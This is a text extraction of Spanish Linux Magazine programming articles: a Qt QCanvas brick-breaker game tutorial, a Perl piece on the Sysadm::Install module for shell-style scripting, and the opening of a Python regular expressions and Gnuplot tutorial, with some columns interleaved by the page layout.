QCanvasItem::RttiValues (ver Cuadro 2: Valores Rtti). Con el fin de obtener el valor rtti de un objeto debemos llamar a la función rtti() del objeto, la cual devuelve un número entero del valor rtti. Para esta aplicación es mejor definir el valor rtti para el objeto Ball (y cualquier otro objeto) en una cabecera de archivo separada, rtti.h. Poner los valores rtti en la cabecera de un archivo hace que sea más fácil añadir objetos hechos a medida, como una paleta. Solo necesitamos incluir esta cabecera de archivo en cada archivo que usa el valor rtti: enum Rtti { Rtti_Ball = 1001, Rtti_Brick = 1002 };
Esto permitirá a la pelota devolver Rtti_Ball como su valor rtti. Podemos declarar el prototipo de la función rtti() en la zona public de ball.h: virtual int rtti() const;
Y entonces implementamos la función en el archivo fuente: int Ball::rtti() const { return Rtti_Ball; }
Podemos seguir el mismo camino con la clase Brick, con el mismo prototipo de
Listado 8: bricks.pro 01 SOURCES = main.cpp ball.cpp view.cpp brick.cpp 02 H E A D E R S = b a l l . h v i e w . h brick.h rtti.h 03 CONFIG += qt warn_on release
WWW.LINUX-MAGAZINE.ES
No obstante, antes de que esto funcione, el archivo de cabecera rtti.h necesita ser incluido en las fuentes de los archivos brick.cpp y ball.cpp: #include "rtti.h"
Algunas colisiones más Identificar objetos por sus números rtti funciona muy bien con la detección de colisiones, por lo que podemos realizar diferentes operaciones con la pelota dependiendo del tipo de objeto con el que colisione la pelota. Ésto está implementado en la función collide(): void Ball::collideU (QCanvasItem *item) { if (item->rtti() == U Rtti_Brick) { moveBy(0, vy); vy = -yVelocity(); updateVelocities(); delete item; } }
Primero, la función necesita comprobar que tipo de objeto es, para lo cual la declaración if comprueba si el valor devuelto por la función del objeto rtti() se corresponde con el valor rtti asignado a un ladrillo y ejecuta el siguiente código condicionalmente. Porque la detección de la colisión devolverá una colisión antes de que la pelota haya colisionado en realidad (de hecho, devolverá una colisión en el siguiente movimiento según las velocidades actuales) es necesario primero mover el objeto para que en realidad colisione y no haga parecer que la pelota rebota antes de colisionar con el ladrillo. Entonces la velocidad vertical es invertida asignando vy al negativo de la velocidad vertical actual, y las velocidades se actualizan usando la función updateVelocities(). Finalmente, el ladrillo se borra, por lo que desaparece, puesto que ha sido “roto” por la pelota.
QCanvas • DESARROLLO
No obstante, en realidad no se ha creado ningún ladrillo aún en el constructor de la clase de vista, lo que significa que no va a pasar mucho. Necesitaremos una matriz dinámica para que el programa pueda crear cualquier número de ladrillos sobre el lienzo. Para hacer esto, usamos la clase QValueVector. Primero es necesario incluir la cabecera de archivo para QValueVector al igual que las clases Brick y Ball en view.h: #include <qvaluevector.h> #include "ball.h" #include "brick.h"
A continuación se neesitan algunas declaraciones de clases en la sección private para la pelota, los ladrillos y las matrices de los ladrillos: typedef QValueVector<Brick*> U BrickArray; BrickArray *m_bricks; Ball *m_ball;
Este código define una matriz de objetos Brick llamada BrickArray y crea un puntero del tipo BrickArray llamada m_bricks. Después se crea un puntero de Ball llamada m_ball, la cual es la pelota en el programa. Se requiere otra función llamada generate-Table() crear ladrillos en el lienzo. La función generateTable() generará una línea de ladrillos en la parte superior de la ventana del juego. Esta función se define en la sección public de la declaración: void generateTable();
Entonces el código para crear ladrillos puede situarse en generateTable() (generar tabla) como en el listado 7, el cual se llama desde el constructor de la clase. La primera línea crea una nueva matriz de ladrillos que se utilizará para mostrar los ladrillo. Los dos números enteros definen donde deberán comenzar a crearse los ladrillos, puesto que la función simplemente creara un número arbitrario de ladrillos (especificado por la variable numOfBricks) desde la izquierda hacia la derecha comenzando en el valor inicial xPos. El bucle crea todos los ladrillos requeridos, cam-
Listado 9: Constructor Paddle 01 #include "paddle.h" 02 #include "rtti.h" 03 04 P a d d l e : : P a d d l e ( Q C a n v a s *canvas) 05 : QCanvasRectangle (1, 1, 50, 5, canvas) 06 { 07 setBrush(Qt::black); 08 } 09 10 Paddle::~Paddle() 11 { 12 }
biando la posición horizontal de los ladrillos para que se creen en una línea en lugar de uno encima de otro. La función push_back añade el recién creado objeto Brick al final de la matriz y la última línea del bucle llama a la función show() (mostrar) para que el ladrillo recién creado se dibuje sobre el lienzo. Esta función se llama desde el constructor de clases, View(), y la pelota se crea y tiene asignadas sus velocidades para que se pueda mover: generateTable(); m_ball = new Ball(m_canvas); m_ball->move(250, 50); m_ball->setXVelocity(1); m_ball->setYVelocity(-2); m_ball->show();
posición y 50 del lienzo. Entonces se establece la velocidad horizontal de la pelota a 1 pixel por fotograma y su velocidad vertical a -2 pixeles por fotograma, llamando luego a la función show(). Con el fin de hacer que el objeto se mueva, se llama a la la función setAdvancePeriod() de QCanvas para establecer la duración del fotograma. Un tiempo razonable es 20ms: m_canvas->setAdvancePeriod(20);
La forma más simple de compilar el programa es usar la utilidad de Trolltech qmake, la cual generará automáticamente los archivos para la compilación y linkado. El formato de sus archivos es muy simple, teniendo un archivo qmake como extensión .pro. El listado 8 muestra un archivo qmake para este juego. Todos los archivos .cpp en el programa están listados en la lista SOURCES (Fuentes), todos los archivos .h en la lista HEADERS (Cabeceras) y la línea CONFIG (Configurar) está fija como se muestra. Entonces todo lo que queda por hacer es ejecutar qmake en el directorio que contiene todos estos archivos y qmake generará los archivos: $ qmake
El programa puede compilarse usando GNU “make”. $ make
Esto genera los ladrillos y crea un objeto Ball en la posición x 250 y en la
Listado 10: Control de teclado 01 void View::keyPressEvent(QKeyEvent *keyEvent) 02 { 03 switch (keyEvent->key()) { 04 case Key_Left: 05 m_paddle->moveBy(-5, 0); 06 break; 07 case Key_Right: 08 m_paddle->moveBy(5, 0); 09 break; 10 default: 11 break; 12 } 13 }
WWW.LINUX-MAGAZINE.COM
Y ejecutado vía el nombre del ejecutable, bricks: $ ./bricks
Con suerte, si todo se ha hecho de forma correcta, veremos una pequeña pelota negra rebotando de aquí para allá con 10 rectángulos en la parte superior de la ventana. Cuando la pelota colisiona con estos rectángulos debería cambiar la dirección y el rectángulo desaparecer. La figura 1 muestra un pantallazo de esta escena.
Raqueteando Una pelota rebotando y haciendo pedazos ladrillos no es algo muy divertido para un usuario que lo único que puede hacer es contemplar la acción, por lo
ISSUE 52 MARCH 2005
29
DESARROLLO • QCanvas
Como se ha añadido un nuevo código y una nueva cabecera de archivo al proyecto, estos deben ser añadidos a las líneas SOURCES y HEADERS en el archivo qmake para que el programa compile: SOURCES = main.cpp ball.cpp U view.cpp brick.cpp paddle.cpp HEADERS = ball.h view.h U brick.h rtti.h paddle.h Figura 2: El juego Bricks, con raqueta, ladrillo y un pelota.
que es el momento de escribir otra clase para representar una raqueta que el usuario pueda controlar y con la que evitar que la pelota se caiga por la parte inferior de la pantalla. La siguiente declaración de clases debe debe guardarse en el archivo paddle.h: #include <qcanvas.h> class Paddle : publicU QCanvasRectangle { public: Paddle(QCanvas *canvas); ~Paddle(); virtual int rtti() const; };
El constructor de la clase es en este caso muy sencillo y lo guardaremos en paddle.cpp. Todo lo que se requiere es definir el pincel que pintará la raqueta para que sea un rectángulo relleno en lugar de un simple contorno y reimplementar la función rtti() para devolver Rtti_Paddle (ver listado 9). Por tanto, necesitamos un nuevo valor rtti para la raqueta, Rtti_Paddle, el cual se devuelve por medio de la función rtti(): int Paddle::rtti() const { return Rtti_Paddle; }
Y se debe ejecutar qmake de nuevo: $ qmake
Todo lo que queda por hacer es conseguir que la raqueta responda a las órdenes de las teclas y añadirlo a la función collide() para que la velocidad vertical de la pelota cambie de sentido al colisionar con la raqueta. Para hacer esto añadimos el siguiente código a collide() después del paréntesis de cierre de la primera declaración if: else if (item->rtti()==U Rtti_Paddle) { moveBy(0, vy); vy = -yVelocity(); updateVelocities(); }
Esto simplemente establece la variable vy como el valor negativo de la actual velocidad y y luego llama a updateVelocities() para establecer la velocidad de la pelota, reinvirtiendo por tanto su dirección en el plano vertical. No obstante, para que exista la raqueta, ésta debe crearse en la clase View. Por tanto primero debemos incluir paddle.h en view.h: #include "paddle.h"
Ahora tenemos que declarar la variable en la sección private de la declaración de la clase View: Paddle *m_paddle;
Es necesario añadir otro rtti a los tipos enumerados en rtti.h: enum Rtti { Rtti_Ball = 1001, Rtti_Brick = 1002, Rtti_Paddle = 1003 };
30
Número 05
Y es entonces cuando podemos crear la raqueta en el constructor View, ajustando su posición y llamando a su función show(): m_paddle = new Paddle(m_canvas);
WWW.LINUX-MAGAZINE.ES
m_paddle->move(50, 250); m_paddle->show();
Control de teclado Con el fin de proporcionar control al usuario con el teclado, Qt incorpora una función llamada key-PressEvent(), la cual es llamada automáticamente por Qt cada vez que se presiona una tecla estando el componente tiene el enfoque. Un QKeyEvent se pasa a la función que representa la tecla que el usuario ha presionado. Por tanto, con el fin de realizar una acción, como un movimiento de la raqueta hacia la izquierda cuando se presiona la tecla de la izquierda, todo lo que necesitamos hacer es reimplementar la función keyPressEvent() y realizar las acciones necesarias. Primero, el prototipo de la función necesita declararse en la sección public de la declaración de clase de la clase View: void keyPressEventU (QKeyEvent *keyEvent);
Y podemos usar la declaración switch dentro de la función para ejecutar el código necesario, dependiendo de que tecla ha pulsado el jugador (ver listado 10). En este caso, la declaración switch comprueba si la tecla presionada por el jugador es la izquierda o la derecha de las cuatro teclas de dirección. Si ha sido pulsada la tecla izquierda moverá la raqueta 5 pixels a la izquierda. Si la tecla pulsada es la derecha, moverá la raqueta 5 pixels a la derecha.
Fin Pues con esto hemos acabado el juego Brick. La figura 2 muestra un pantallazo del juego completo. Esperemos que este tutorial demuestre lo flexible y simple que QCanvas es con los gráficos 2D. No tenemos que ser unos expertos para construir nuestro propio juego con ■ QCanvas.
RECURSOS [1] Trolltech: http://www.trolltech.com [2] Dosumentación API de QCanvas: http://doc.trolltech.com/3.3/canvas. html [3] El código fuente completo del juego bricks: http://www.gwright.org.uk/ files/LinuxMag/bricks.tar.bz2
Perl • DESARROLLO
Emulación de funciones shell con Perl
PERLAS Y CONCHAS www.photocase.de
Perl ofrece los mejores guiones para la shell. Un nuevo modulo en CPAN, Sysadm::Install ayudará a los adictos a la shell a desengancharse de Bash. POR MICHAEL SCHILLI
L
os guiones de la shell para la administración del sistema se preparan fácilmente con unas pocas ordenes. Una rutina de instalación puede utilizar cp, mv y chmod; un guión de consulta puede depender de grep, awk o sed. Sin embargo, si se necesita más, un guión shell puede volverse complejo o incluso feo… y, en muchas ocasiones, terminar en un callejón sin salida. La shell toma muchos rodeos para llegar a algunos sitios, y hay otros sitios donde sencillamente un guión shell no puede llegar. Los programadores creativos encontrarán siempre una manera de seguir trabajando aceptando los obstáculos ya que las shells tales como Bash, Ksh y Tcsh tienen muchas características
basadas en auténticos lenguajes de programación. Además, si se prefiere evitar teclear, no recomendamos Perl estándar para tareas simples de la shell. Después de todo ¿quién quiere teclear algo como esto: open FILE, "<filename" or die "Cannot open filename ($!)";
cuándo con un simple cat filename abrirá el archivo para dirigirlo al siguiente proceso usando un redireccionador? Presentamos Sysadm::Install, un nuevo módulo de CPAN que exporta funciones tales como cp, mv, untar, mkd, rmf (rm - f) y cd para ayudar a los guionistas de la shell a sentirse como en casa usando Perl.
WWW.LINUX- MAGAZINE.ES
El módulo también tiene características para la interacción del usuario, la manipulación de archivos y las transferencias directas (downloads), así como
Listado 1: topng 01 02 03 04 05 06 07 08 09 10 11 12 13
#!/usr/bin/perl -w ############################# # topng -- convierte jpgs->png ############################# use Sysadm::Install qw(:all); for $jpg (@ARGV) { ($png = $jpg) =~ s/jpg$/png/; sysrun "convert", $jpg, $png; rmf $jpg; }
Número 05
31
DESARROLLO • Perl
una colección de interfaces simplificados para llamar a programas externos.
Transformador topng en el Listado 1, es un guión que llama a la herramienta convert para transformar un grupo de imágenes en formato JPG al formato PNG. Para utilizarlo teclee use Sysadm::Install qw(:all) para importar todas las funciones disponibles en el espacio de nombres vigente, antes de pasar a utilizar dos de ellos: sysrun() para llamar a un programa externo y rmf() que es la versión Sysadm::Install de rm - f. Si la llamada a: topng *.jpg
en un directorio lleno de archivos JPG no se queja, habrá creado todos los archivo PNG ¿Necesita más información? Sin problema: Como Sysadm::Install da soporte al sistema Log::Log4perl, solamente tenemos que añadir… use Log::Log4perl qw(:easy); Log::Log4perl->U easy_init($DEBUG);
… y para que la ejecución del guión sea mas parlanchina: 2004/12/23:25:sysrun:U convert 1.jpg 1.png /12/23:25:rmf 1.jpg /12/23:25:sysrun:U
Listado 2: untar 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18
32
#!/usr/bin/perl -w ############################# # untar -- Untar tarballs ############################# use strict; use Log::Log4perl qw(:easy); use Getopt::Std; use Sysadm::Install 'untar'; getopts('v', \my %opts); Log::Log4perl->easy_init( $opts{v} ? $DEBUG : $ERROR); for my $tar (@ARGV) { untar($tar); }
Número 05
convert 2.jpg 2.png /12/23:25:rmf 2.jpg
Pero éste no es el único motivo para que los guiones utilicen sysrun() y rmf() con la maravilla que es Sysadm::Install en vez de las funciones equivalentes de Perl estándar system() y unlink(). Como todas las funciones de Sysadm::Install, sysrun() y rmf() utilizan automáticamente el modo funciona-o-muere. Si miramos bajo el capó, los resultados se comprueban cuidadosamente y, en caso de error, una llamada a die() interrumpe el guión automáticamente. Los programadores de la shell que anteriormente hayan tenido que teclear cosas como estas:
cuando lo desempaquete. untar() evita que sucedan estas cosas. El guión untar espera el nombre de un archivo tar, averigua si el archivo necesita ser descomprimido y después desempaqueta el contenido del archivo. Si el archivo es todos-a-por-todos que no incluye un directorio de nivel superior, la herramienta crea un directorio y desempaqueta dentro el contenido. El guión de ejemplo untar del Listado 2 se invoca simplemente con el nombre de un archivo tar: untar pari-2.1.4.tgz
se podrán relajar. topng ni siquiera usa el modo strict de Perl, usado de manera tan religiosa en el mundo del Perl. Éste es un guión rápido-y-sucio que no intenta renegar de su herencia.
Ya que pari-2.1.4.tgz contiene el preceptivo directorio de nivel superior, solamente se desempaquetará el contenido dentro de pari-2.1.4 ¡Pero reconforta saber que estábamos cubiertos en cualquier caso! Si prefiere información sobre el proceso, en vez del silencio, puede emplear el indicador -v para obtener más información sobre lo que está pasando debajo de la tapa.
Un Desempaquetado Elegante
Si yo tuviera un martillo: Perl a la hora del café
Si no utiliza tar diariamente, puede que no recuerde la sintaxis para una orden tar concreta. Este lapso de memoria puede ser fatal. Imagine, por ejemplo, que utiliza la opción cf en vez de la xf. Este desafortunado error sobrescribirá el archivo en vez de desempaquetarlo. También ocurre que algunos empaquetadores se olvidan de agregar un directorio de nivel superior. Si pasa esto, el archivo tar contendrá un lote repleto de archivos que abarrotará su directorio
Algunos guiones de instalación apremian a los usuarios con una entrada interactiva. En la mayoría de los casos simplemente necesita pulsar la tecla [Enter] y esto es exactamente lo que hace la función hammer(). La compilación de Perl es un ejemplo típico. Hay que descargar el tarball desde perl.com, desempaquetar el archivo, ir al directorio superior, lanzar ./configure y para rematarlo, nos bombardean con una plétora de preguntas. Si está seguro
cp a b || exit 1 mv c d || exit 1
Listado 3: mkperl 01 02 03 04 05 06 07 08 09 10 11 12 13 14
#!/usr/bin/perl -w ############################# # mkperl - Descarga el # ultimo Perl estable, # lo configura y lo instala. ############################# use strict; use Log::Log4perl qw(:easy); Log::Log4perl->easy_init( $DEBUG); use Sysadm::Install qw( download hammer untar
WWW.LINUX- MAGAZINE.ES
15 16 17 18 19 20 21 22 23 24 25 26 27 28
cd sysrun); download "http://www.perl.com/" . "CPAN/src/stable.tar.gz"; untar "stable.tar.gz"; cd "stable"; hammer("./Configure", "-d", "-D", "prefix=/home/" . "mschilli/PERL-test"); sysrun("make install");
Perl • DESARROLLO
de que las opciones predeterminadas serán las correctas para su máquina, puede habilitar el indicador -d… o mantener el dedo sobre la tecla [Enter]. El guión mkperl del Listado 3 download() el actual tarball estable desde perl.com, ejecutará untar() para desempaquetarlo. Configurará la versión y lanzará la compilación. Utiliza la opción -d de Configure para reducir el ruido, pero ejecuta hammer() en el ultimo prompt para despachar las ultimas preguntas con la edición manual del archivo de configuración.
nada y el signo de admiración extraerá una orden del histórico de ordenes. Sin embargo, puede escapar los caracteres comprometidos usando una barra inclinada (por supuesto, sin olvidarse de escapar la barra inclinada con otra barra inclinada):
Entrada de Usuario
Las comillas simples son una alternativa, pero entonces estas impiden la sustitución de variables de la shell y las comillas simples también necesitan ser Figura 2: El resultado de la macro de la Figura 1. Los autores escapadas en el código. de guiones pueden pulsar [!]+[P] y ponerse a escribir sus Esto empeora si se neceguiones sin más ni más. sita ejecutar la orden en una máquina remota en vez de en una local, usando la orden de ción qquote() que proporciona host ssh -t. Esto significa que hay que Sysadm::Install para añadir dobles escapar cualquier carácter no estándar comillas a las cadenas y escapa todas las (incluyendo los caracteres especiales ¡Y comillas y barras invertidas contenidas los caracteres de escape que se hayan en la cadena. Si el segundo parámetro escapado anteriormente!) Esto puede que se especifica es :shell, entonces provocar un ataque agudo de barritis: qqoute() extenderá esta protección al peligroso símbolo dólar, al explosivo ssh -t somehost "perl -e U signo de admiración y la perversa barra \"print \\\"Hi\\\!\\\\n\\\"\"" invertida.
Algunos guiones necesitan que el usuario confirme que el o ella están contentos con la opción predeterminada o para seleccionar una de las cinco opciones que se muestran. Para estas tareas Sysadm::Install le ofrece las funciones ask y pick. ask le solicita al usuario que acepte el texto predeterminado o que introduzca otro. pick muestra al usuario una lista enumerada de opciones y le pide al usuario que seleccione el número correspondiente a la opción elegida. El guión del Listado 4 input primero recibe una cadena de texto del usuario y después le da a elegir tres opciones: Name U [No-Name-Entered]> Bill Gates Name: Bill Gates [1] 0-100K [2] 100K-200K [3] 300KSalary [1]> 3 Salary: 300K-
Los valores devueltos por ask y pick se corresponden con los valores tecleados o seleccionados. En este caso, los valores son “Bill Gates” y 3K-.
Barritis Si es un usuario habitual de las abreviaturas de las ordenes de Perl, estará familiarizado con el problema del código escapado de Perl en la línea de ordenes para evitar que la shell se los coma, por ejemplo: perl -e "print "Hi!\n""
no funcionara, ya que la shell planchará las comillas interiores y la barra incli-
Figura 1: Esta macro para vim, mapea las lineas iniciales de un guión Perl a la combinación de teclas [!]+[P] y pone el editor en modo inserción.
perl -e "printU \"Hi\!\\n\""
¿Confundido? Parece que sí. Pero hay una forma de evitar esto usando la fun-
Listado 4: input 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18
#!/usr/bin/perl -w ############################# # entrada -- ask() and pick() ############################# use strict; use Sysadm::Install qw(:all); my $name = ask "Nombre", "Nombre-No-Tecleado"; print " Nombre: $name\n"; my $salary = pick "Sueldo", ["0-100K", "100K-200K", "300K-"], 1; print " Sueldo: $salary\n";
La Máquina Escapista Comenzando en la línea 10, el Listado 7 ips, muestra un guión que ejecuta la orden ifconfig y extrae la dirección IP de una interfaz de red. La línea elimina los caracteres de fin de línea y los espacios en blanco sobrantes fuera del texto del guión y en la línea la función qquote() confecciona una cadena compacta doblemente entrecomillada que después el guión añade a perl -e. La línea añade otra ronda de qquote() a la orden SSH, antes de que system() finalmente ejecute la orden para recoger las direcciones IP desde somehost sin que haga falta instalar un guión en esa máquina. ssh -t somehost "perl -e \" U \\\$data = \\\`ifconfig\\\`; U while(\\\$data =~ /inet addr:U (\\\\S+)/g) { print U \\\"\\\$1\\\\n\\\"; } \""
DESARROLLO • Perl
Sorbitos A menudo los guiones necesitan obtener la totalidad del conjunto de datos desde un archivo. Perl 6 solucionará este problema proporcionando una función slurp(). Pero Sysadm::Install ya tiene una practica función slurp(), junto con la función opuesta, blurt() que tiene el efecto de mover datos almacenados hacia un archivo de una sola tacada. Por ejemplo, si desea decirle a Linux que no ingrese en la interfaz gráfica después del arranque, pero que en vez de eso muestre un login en modo texto para el usuario, necesita modificar /etc/inittab cambiando el 5 por un 3 en la línea siguiente:
Listado 7: ips 01 02 03 04 05 06 07 08 09 10 11 12 13
#!/usr/bin/perl -w ############################# # ips - ejecuta un guión en # una máquina remota ############################# use strict; use Sysadm::Install 'qquote'; my $script = q{ $data = `ifconfig`; while($data =~ /inet addr:(\S+)/g) {
ción. Después de completar estos cambios, pie() escribe el resultado en el archivo original. Si usa el operador de sustitución recuerde que s/a/b no devuelve la cadena de resultado pero si el número de sustituciones. Si la retro-llamada es
id:5:initdefault:
Tal como muestra el Listado 5 fixinittab, slurp() y blurt() realizarán estos cambios de una manera fácil. Esto se puede compactar aún más, tal como demuestra el Listado 6. De una manera similar al modo de edición en línea de Perl (perl -p -i -e "..."), Sysadm::Install ofrece una función pie(). La función pie() espera al menos dos argumentos: Uno referente a la retro-llamada definida por el usuario y uno o más nombres de archivo. pie() analiza los archivos especificados con la orden uno por uno, llama a la retro-llamada por cada línea y reemplaza la línea con el valor devuelto por la fun-
Listado 5: fixinittab 01 02 03 04 05 06 07 08 09 10 11
34
#!/usr/bin/perl ############################# # fixinittab ############################# use Sysadm::Install qw(:all); $file = "/etc/inittab"; $data = slurp $file; $data =~ s/id:5:initdefault:/ id:3:initdefault:/x; blurt $data, $file;
Número 05
una simple función de sustitución, s/a/b; $_; asegúrese de que la cadena resultante es sustituida de vuelta dentro del archivo.
¿Cansado de teclear? Finalmente, un truco para los que desean reducir las entradas por teclado. En vez de teclear #!/usr/bin/perl y use Sysadm::Install qw(:all), simplemente
14 15 16 17 18 19 20 21 22 23 24 25 26
#!/usr/bin/perl ############################# # fixinittab-pie ############################# use Sysadm::Install qw(:all); pie(sub { s/id:5:initdefault /id:3:initdefault/gx; $_; }, "/etc/inittab");
WWW.LINUX- MAGAZINE.ES
$script =~ s/\s+/ /g; my $cmd = "perl -e " . qquote($script, ":shell"); $cmd = "ssh -t somehost " . qquote($cmd, ":shell"); system($cmd);
RECURSOS [1] Listados de este artículo: http://www. linux-magazine.com/Magazine/ Downloads/52/Perl [2] Sysadm::Install: http://search.cpan. org/~mschilli/Sysadm-Install-0.09/
Listado 6: fixinittab-pie 01 02 03 04 05 06 07 08 09 10
print "$1\n"; } };
puede definir una macro vim, como se muestra en la Figura 1. La macro vim asigna una orden de inserción, seguido por las primeras siete líneas de un guión Sysadm::Install, a la combinación de teclas [!]+[P] (P de Perl) en el modo de ordenes de vi: Una línea Perl-Shebang, un poco de aderezo, una plantilla para el nombre del guión, qué hace el guión, y su nombre. En .vimrc, la orden se tiene que escribir en una sola línea. Los caracteres de fin de línea, que son representados más adelante como ^M, se crean pulsando la combinación de teclas [CTRL]+[V], seguida de [Return], en el modo de entrada de Vim. Solamente tiene que teclear vi test-script para comenzar un nuevo guión. [!]+[P] agrega la cabecera y ■ conmuta vi al modo de inserción.
EL AUTOR
Por supuesto que se podría retornar tal cual los resultados de ifconfig a la máquina local y continuar allí el proceso, pero un guión móvil puede ser un acercamiento más práctico si se necesita manejar grandes cantidades de datos.
Michael Schilli trabaja como desarrollador de software en Yahoo!, Sunnyvale, California. Es el autor de “Perl Power” de la editorial AddisonWesley y se le puede contactar en mschilli@perlmeister.com. Su página está en http:// perlmeister.com.
Python • DESARROLLO
El Poder de Gnuplot y las expresiones regulares
GRAFICAS CON PYTHON Lo mejor de ser una lenguaje interpretado y dinámico es que puedes hablar con otras aplicaciones muy fácilmente y Python es capaz de hablar con Gnuplot. Ya podemos hacer gráficas con Python. POR JOSÉ MARÍA RUIZ Y PEDRO ORANTES
E
xisten muchos programas que generan gráficas sobre información importante. Por ejemplo, muchos sitios web tienen gráficas que muestran cuantos accesos se han realizado ese mismo día. También sería interesante controlar la cantidad de accesos por SSH que nuestra máquina recibe como medida de seguridad.
Gráficas y más gráficas Y ya que estamos, ¿por qué no hacer gráficas de cosas interesantes? Una de las cosas que más nos atraen es controlar como crece, o decrece, el número de ficheros en el sistema operativo o su tamaño. ¿Es útil? no lo sé, pero desde luego es curioso. Nuestro objetivo este mes es el siguiente: crear un programa con Python que mediante expresiones regulares que localice entradas en un fichero de log,
agrupe por fecha y genere un histograma con ellas. Parece complicado, pero vamos a ver como no lo es tanto. Para ello vamos a utilizar las expresiones regulares que Python provee. Con ellas podremos procesar texto en busca de patrones fácilmente. Una vez que tengamos un conocimiento básico sobre ellas echaremos un vistazo a Gnuplot y a la manera de usarlo desde Python.
Las expresiones regulares Las expresiones regulares trabajan con símbolos, en nuestro caso caracteres, y definen patrones de caracteres como, por ejemplo, palabras o direcciones IP. Podemos buscar una frase o parte de ella, por ejemplo “From: algo.tw”. Esta expresión regular corresponde con … ¡ella misma!, lo cual no es demasiado útil. Necesitamos algo que abarque más posibilidades.
WWW.LINUX- MAGAZINE.ES
Lo interesante es definir patrones. Imaginemos que queremos definir un patrón para capturar direcciones de correo. Normalmente estará formada por: • unas secuencia de caracteres pertenecientes a un conjunto restringido (por ejemplo no se permiten tildes) • una arroba • una secuencia de caracteres pertenecientes al mismo conjunto restringido • una última secuencia de dominio O sea, algo como “spamer@spam.tw”. Si queremos crear un patrón para este tipo de cadena de símbolos necesitamos reglas. Las expresiones regulares permiten imponer restricciones. Podemos imponer condiciones sobre la aparición de los símbolos. En concreto podemos determinar
Número 05
35
DESARROLLO • Python
Figura 1: Gnuplot muestra representaciones de funciones de manera rápida y sencilla.
la cantidad y la posición. Indicar si ese carácter o caracteres van a aparecer o no y la cantidad de veces que lo hará. El patrón más simples es que el busca la aparición obligatoria de un solo carácter. Basta con poner ese carácter tal cual en la expresión regular: “q”. Si el carácter es uno de entre un conjunto de posibles caracteres, por ejemplo los caracteres “K” o “c”, encerramos a ambos entre corchetes: “[Kc]”. Esto indica que esperamos un solo carácter, pero escogido entre “K” o “c”. En el caso de que ese único carácter sea opcional acompañaremos la expresión de un signo de interrogación: “[Kc]?”. Ahora vamos a ver como controlar la cantidad de caracteres. En nuestra introducción básica solo vamos a ver las reglas más simples. Estas son las que indican si el carácter puede aparecer seguido “0 o más veces” o “1 o más veces”. En en primer caso acompañamos al carácter o caracteres (entre “[]”) de un “*” y en el segundo caso de un “+”: • [a]*: “”, “a”, “aa”, “aaa”… * • [a]+: “a”, “aa”, “aaa”,… Sería muy engorroso tener que poner todo el abecedario si queremos definir el patrón para una palabra. Por eso existen los grupos de caracteres. El grupo “a-z” define todas las letras del abecedario y “0-9” todos los números. Así, el patrón “[a-z]*” define una secuencia de 0 o más caracteres, y “[0-9]+” un número de al menos una cifra (que puede ser el “0” ). El patrón “[A-Z]” se corresponde con las letras del abecedario en mayúsculas. Existe también patrones especiales que definen, por ejemplo, los caracteres que pueden formar una palabra, o los separadores. Cuando un carácter puede ser mal interpretado, porque ya forma parte de la
36
Número 05
sintaxis de las expresiones regulares, entonces hay que acompañarlo por un “\”. El caso típico es el carácter “-”, que aparecerá como “\-”. Después de esta breve introducción, un correo electrónico que provenga de Taiwan podría corresponder con la siguiente expresión regular: “[\-a-zA-Z0-9]+@[\a-zA-Z0-9]+.tw”. Imaginemos que queremos un patrón para un carácter que puede ser cualquiera símbolo menos el “9”. Para ello usamos el carácter “^” dentro de “[ ]”. “[^9]” sería el patrón que correspondería con cualquier carácter menos el “9”. Dentro de los corchetes “^” define un patrón inverso, decimos lo que no queremos y el patrón se corresponde con el resto. En cambio si usamos “^” fuera de los corchetes su significado cambia, pasa a significar “al principio”. La expresión regular “^[0-9]+” corresponde con una cadena de números que está al principio de la cadena en la que buscamos, si no está al principio no se corresponderá. La expresión regular “[^0-9]+” corresponde con una cadena de al menos un símbolo que no puede ser numérico. Por tanto, hay que ser cuidadoso con donde se ponen los modificadores (ver Tabla de modificadores). Con esto nos podemos hacer una idea de cómo son las expresiones regulares. En realidad faltan muchos más modificadores, pero el lector pueden encontrar gran cantidad de tutoriales sobre expresiones regulares en Internet. En particular recomendamos el indicado en el recurso [3], pero tiene el inconveniente de estar en inglés.
Expresiones Regulares en Python En Python tenemos expresiones regulares a través del paquete re (de “Regular Expressions”). Este paquete forma parte del sistema base de Python por lo que nos será necesario instalarlo. Lo primero que vamos a hacer va a ser definir una expresión regular simple y juguetear con ella. >>> import re >>> p = re.compile("[ab]+") >>> print p <_sre.SRE_Pattern objectU at 0x81418c0> >>>
WWW.LINUX- MAGAZINE.ES
Hemos creado un objeto que representa la expresión regular “[ab]*”, o sea, una secuencia de “a“y “b” que puede tener longitud 0. Como vemos al imprimir el contenido de “p” no es más que un objeto como todos los demás de Python. Vamos a pasarle unas serie de cadenas a ver que nos dice: >>> print p.match("34",1) None >>> print p.match("abaaab",1) <_sre.SRE_Match object atU 0x81b4800> >>> print p.match("abaaabc",1) <_sre.SRE_Match object atU 0x81b4800> >>>
En el primero ejemplo vemos como nos devuelve None. Eso significa que no existe ninguna subcadena dentro de la cadena que le hemos pasado que se corresponda con el patrón. En el segundo ejemplo vemos como nos devuelve un objeto, ese objeto contiene información sobre la correspondencia hallada. En este caso es toda la cadena pasada. En el tercer ejemplo vuelve a devolvernos un objeto, pero vemos que esa “c” final no está en el patrón. Lo que ocurre es que Python busca subcadenas que correspondan, no busca la correspondencia de toda la cadena pasada. Por el momento hemos usado el método match() que solo busca la correspondencia al principio de la cadena o en la posición que le indiquemos (en nuestro caso la posición 1). >>> print p.match("cabaaab"U ,0) None >>> print p.match("abaaab",0) <_sre.SRE_Match object atU 0x81c4c60> >>>
Existe otro método llamado search() que se comporta de manera parecida a las expresiones regulares de Perl. Busca todas las correspondencias y es posible obtener una lista de ellas. Pero lo más útil es el método findall(), devuelve una lista con todas las apariciones del patrón. >>> resultado = p.search(U "abaaabcaaaa",1)
Python • DESARROLLO
<_sre.SRE_Match object atU 0x81b4800> >>> >>> p.findall("abaaabcaaa",0) ['abaaab', 'aaa']
Introducción a Gnuplot Gnuplot (véase recurso [1]) es un programa de dibujado de datos. Se le pasan datos o una función matemática y se usa la orden plot para hacer la gráfica. Gnuplot entonces abre una ventana y dibuja esos datos usando los parámetros que le especifiquemos. Cuando ejecutamos Gnuplot nos aparecerá un shell. Gnuplot tiene sus propios comandos y lenguaje. Lo mejor de tener un shell es que podemos jugar con él, vamos a hacerlo: gnuplot> f(x) = sin(x) gnuplot> plot f(x) gnuplot>
